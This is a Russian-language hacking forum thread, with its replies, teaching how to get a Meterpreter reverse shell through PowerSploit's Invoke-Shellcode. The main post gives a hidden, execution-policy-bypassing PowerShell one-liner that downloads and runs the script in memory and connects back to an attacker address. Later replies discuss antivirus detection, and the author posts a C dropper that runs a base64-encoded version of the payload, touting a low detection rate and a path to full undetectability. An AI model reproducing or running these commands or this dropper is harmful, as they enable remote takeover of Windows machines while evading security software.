PowerShell для хакера (часть I )

<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
3 019
Часть 1
Следующая часть
Все части

Приветствую Вас колеги. Как Вы уже поняли речь пойдет о знакомствах с базовыми возможностями PowerShell и области применения хакерских техних.
И начнем мы пожалуй сегодня с использования скриптов PowerSploit -( скрипты написанные на PowerShell для пост эксплуатации Windows систем)

Первым примером использования PowerSploit - это будет пример простого и быстрого получения метерпретер сессии на примере скрипта Invoke-Shellcode.ps1

logo.png


Для начало сходим на гитхаб по ссылке:
Код:
https://github.com/cheetz/PowerSploit/blob/master/CodeExecution/Invoke--Shellcode.ps1
1.PNG


Жмакним на клавишу RAW - что бы получить ссылку для скачивания в чистом виде
Код:
https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1
Эту ссылку мы потом используем для нашей команды PowerShell,а пока можно в скрипте в комментариях увидеть опциональные параметры и примеры для его запуска:

3.PNG


Копируем урл нашего скрипта и готовим следующую команду:
Код:
Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.137.137 -Lport 1337 -Force
-NoP (--NoProfile) Не использовать пфрофиль powershell
-NonI (--NonInteractive) Не использовать интерактивный режим
-W Hidden ( --Window Hidden) Не показывать окно командной строки
-Exec Bypass ( Bypass Execution Policy) Разрешить подгружать и использовать скрипты из внешних ресурсов
IEX(New-Object Net.WebClient).DownloadString('url нашего скрипта') - Выполнить скрипт путем загрузки его по урл из удаленного ресурса и загрузки его в памяти
Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.137.137 -Lport 1337 -Force
Собственно вызов нашего скрипта после его загрузки с параметрами (IP аддрес и порт Атакуещей машини) и тип пейлоада метасплоита.
5.PNG


6.PNG


Собственно говоря и все)

Запускаем данную команду и к нам прилетает метерпретер сессия)
Можно еще для удобства сократить урл к скрипту на гитхабе через сервисы сокращения ссылок)

Всем спасибо) Продолжения следует)

Следующая часть
Все части
 
kot-gor

kot-gor

Grey Team
07.09.2016
523
686
добрый вечер.а если данный скрипт допустим встроить в софт, как с детектом антивирусов у его?
 
  • Нравится
Реакции: Mixa и Vander
<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
3 019
Завтра сделаю тест на детект.Сорри сегодня не успеваю)
 
  • Нравится
Реакции: Mixa и pappa
D

D8mbsniper

Неплохо.
Думаю такой скрипт с rubberducky должен "подружиться" :)
 
  • Нравится
Реакции: m0tion
pappa

pappa

Active member
21.09.2016
30
7
я полагаю если удаленно создать правило в исключениях фаервола то получится или я опять не права ?o_O
 
I

ipmann

New member
23.10.2016
1
0
Symantec Endpoint Protection 12 этот скрипт прибивает.. :(
 
kot-gor

kot-gor

Grey Team
07.09.2016
523
686
Добрый день, ну не во всех же стоит Symantec Endpoint Protection,какие то скрипты будут пробиваться..)
 
<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
3 019
Завтра сделаю тест на детект.Сорри сегодня не успеваю)
Извините за редкий онлайн. Увлекся лабораторией тестирования на проникновения от PentestIT. После окончания прохождения вернусь к вам мои дорогие друзья)))
 
I

InK

Member
04.12.2016
9
2
Огромное спасибо за статью, искал нечто подобное.
 
MAdDog719

MAdDog719

Well-known member
16.08.2016
110
27
Извините за редкий онлайн. Увлекся лабораторией тестирования на проникновения от PentestIT. После окончания прохождения вернусь к вам мои дорогие друзья)))
Пожалуйста напиши статью как проходил лабораторию.
 
  • Нравится
Реакции: 6otfa и <~DarkNode~>
F

fumpc18

New member
06.12.2016
1
0
Спасибо за статью,не подкинете пару книг по powershell?
 
<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
3 019
Пожалуйста напиши статью как проходил лабораторию.
Могу посвятить небольшой цикл статей в виде врайтапов по каждому токену(флагу) от моментов подключения до последнего токена.Как пользоваться картой топологии сети, простую логику поиска векторов уязвимости, и т.д
Имхо такие лаборатории очень наглядно демонстрируют известные векторы атак,и полезно попрактиковаться на них,так как команда специалистов делая лаборатории подбирают наиболее актуальные уязвимости которые попадают в статистику пентестов текущего года.
Если кому то будет интересно,то конечно могу)
 
valerian38

valerian38

Grey Team
20.07.2016
656
745
Могу посвятить небольшой цикл статей в виде врайтапов по каждому токену(флагу) от моментов подключения до последнего токена.Как пользоваться картой топологии сети, простую логику поиска векторов уязвимости, и т.д
Имхо такие лаборатории очень наглядно демонстрируют известные векторы атак,и полезно попрактиковаться на них,так как команда специалистов делая лаборатории подбирают наиболее актуальные уязвимости которые попадают в статистику пентестов текущего года.
Если кому то будет интересно,то конечно могу)
Если вы это сделаете, то я буду самым счастливым человеком на свете.
 
<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
3 019
Снимок.PNG
добрый вечер.а если данный скрипт допустим встроить в софт, как с детектом антивирусов у его?
Тестанул вот на детект,весьма не плохо, 2/35 (правда аваспом палится) Но можно в принципе достич и фуда (FuD) если небольшие манипуляции сделать


C:
#include <stdlib.h>

int main() {
    system("powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AYwBoAGUAZQB0AHoALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEMAbwBkAGUARQB4AGUAYwB1AHQAaQBvAG4ALwBJAG4AdgBvAGsAZQAtAC0AUwBoAGUAbABsAGMAbwBkAGUALgBwAHMAMQAnACkAOwAgAEkAbgB2AG8AawBlAC0AUwBoAGUAbABsAGMAbwBkAGUAIAAtAFAAYQB5AGwAbwBhAGQAIAB3AGkAbgBkAG8AdwBzAC8AbQBlAHQAZQByAHAAcgBlAHQAZQByAC8AcgBlAHYAZQByAHMAZQBfAGgAdAB0AHAAcwAgAC0ATABoAG8AcwB0ACAAMQA5ADIALgAxADYAOAAuADIALgAxADAAMgAgAC0ATABwAG8AcgB0ACAAMQAzADMANwAgAC0ARgBvAHIAYwBlAA==");
    return 0;
}
 
Последнее редактирование:
  • Нравится
Реакции: valerian38 и NSIS
Мы в соцсетях: